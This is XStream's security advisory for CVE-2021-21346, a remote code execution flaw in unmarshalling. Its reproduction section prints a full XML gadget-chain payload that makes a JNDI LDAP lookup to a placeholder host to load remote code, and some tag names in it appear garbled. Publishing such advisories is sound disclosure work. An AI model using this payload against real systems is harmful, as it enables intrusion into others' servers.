



Software

About XStream
News
Change History
Security Aspects
About Versioning

Evaluating XStream

Two Minute Tutorial
License
Download
References
Benchmarks
Code Statistics

Using XStream

Architecture Overview
Object references
Tweaking the Output
Converters
Frequently Asked Questions
Mailing Lists
Reporting Issues

Javadoc

XStream Core
Hibernate Extensions
JMH Module

Tutorials

Two Minute Tutorial
Alias Tutorial
Annotations Tutorial
Converter Tutorial
Object Streams Tutorial
Persistence API Tutorial
JSON Tutorial
StudyTrails

Developing XStream

How to Contribute
Development Team
Source Repository
Continuous Integration

CVE-2021-21346

Vulnerability

CVE-2021-21346: XStream is vulnerable to an Arbitrary Code Execution attack.

Affected Versions

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup [XStream's security framework](#) with a whitelist limited to the minimal required types.

Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

Steps to Reproduce

Create a simple TreeSet and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

```
<sorted-set>
  <javax.naming ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
      <unserializable-parents/>
      <hashtable>
        <default>
          <loadFactor>0.75</loadFactor>
          <threshold>525</threshold>
        </default>
        <int>700</int>
        <int>0</int>
      </hashtable>
      <javax.swing.UIDefaults>
        <default>
          <defaultLocale>zh_CN</defaultLocale>
          <resourceCache/>
        </default>
      </javax.swing.UIDefaults>
      <javax.swing.MultiUIDefaults>
        <default>
          <tables>
            <javax.swing.UIDefaults serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>1</int>
                <sun.swing.SwingLazyValue>
                  <className>javax.naming.InitialContext</className>
                  <methodName>doLookup</methodName>
                  <args>
                    <arg>ldap://localhost:1099/CallRemoteMethod</arg>
                  </args>
                </sun.swing.SwingLazyValue>
              </hashtable>
            </javax.swing.UIDefaults>
            <default>
              <defaultLocale reference='../../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
              <resourceCache/>
            </default>
          </javax.swing.UIDefaults>
        </default>
      </tables>
    </default>
  </javax.swing.MultiUIDefaults>
</value>
</javax.naming ldap.Rdn_-RdnEntry>
<javax.naming ldap.Rdn_-RdnEntry>
  <type>ysomap</type>
  <value class='com.sun.org.apache.xpath.internal.objects.XString'>
    <m_obj class='string'>test</m_obj>
  </value>
</javax.naming ldap.Rdn_-RdnEntry>
</sorted-set>
```

```
XStream xstream = new XStream();
xstream.fromXML(xml);
```

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled or when another element is added to the set.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

Impact

The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream.

Workarounds

See [workarounds](#) for the different versions covering all CVEs.

Credits

wh1t3p1g G5-RD6@IIE found and reported the issue to XStream and provided the required information to reproduce it.